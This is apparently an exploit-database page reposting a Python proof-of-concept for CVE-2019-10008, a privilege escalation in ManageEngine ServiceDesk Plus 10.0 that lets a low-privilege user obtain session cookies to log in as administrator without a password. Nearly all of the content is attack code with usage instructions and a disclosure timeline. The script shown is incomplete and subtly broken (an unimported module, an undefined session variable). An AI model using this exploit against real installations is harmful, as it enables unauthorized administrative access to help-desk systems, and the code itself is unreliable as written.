Manage engine servicedesk plus 10.0 privilege escalation Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2019-04-05 |
Type : webapps |
Platform : jsp
This exploit / vulnerability Manage engine servicedesk plus 10.0 privilege escalation is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
#!/usr/bin/python
# Exploit Title: Manage Engine ServiceDesk Plus Version <10.0 Privilege Escalation
# Date: 30-03-2019
# Exploit Author: Ata Hakçıl, Melih Kaan Yıldız
# Vendor: ManageEngine
# Vendor Homepage: www.manageengine.com
# Product: Service Desk Plus
# Version: 10.0
# Tested On: Kali Linux
# CVE: CVE-2019-10008
# Platform: JSP
# Timeline
# 22 march 2019: Discovery
# 24 march 2019: CVE id reserved for CVE-2019-10008
# 26 march 2019: First contact with vendor
# 5 april 2019: First publication
# 10 april 2019: Vendor confirmation
# 11 april 2019: Vendor released a fix (version 10017)
# How to use: Change the host, low_username, low_password and high_username variables depending on what you have.
# Low username and password is an account you have access to. high_username is account you want to authenticate as.
# After running the script, it will output you the cookies that you can set on your browser to login to the high_username without password.
#Host ip address + port
host="localhost:8080"
#set to https if needed
url = "http://" + host
#Username with credentials you have
low_username="guest"
low_password="guest"
#username you want to login as
high_username="administrator"
print("\033[1;37mUrl: \033[1;32m" + url)
print("\033[1;37mUser with low priv: \033[1;32m" + low_username + ':' + low_password)
print("\033[1;37mUser to bypass authentication to: \033[1;32m" + high_username)
print("\033[1;32mGetting a session id\033[1;37m")
# Get index page to capture a session id
curl = "curl -i -s -k -X $'GET' \
-H $'Host: "+host+"' -H $'Referer: "+url+"/' -H $'Connection: close'\
$'"+url+"/'"
out = os.popen('/bin/bash -c "' + curl+'"').read()
#Instead of following redirects with -L, following manually because we don't need all the transactions.
curl="curl -i -s -k -X $'GET' -H $'Host: "+host+"'\
-H $'Referer: "+url+"/'\
-H $'Connection: close' -H $'Cookie: JSESSIONID="+sessid+"' \
-b $'JSESSIONID="+sessid+"' \
$'"+url+"/'"
out = os.popen('/bin/bash -c "' + curl+'"').read()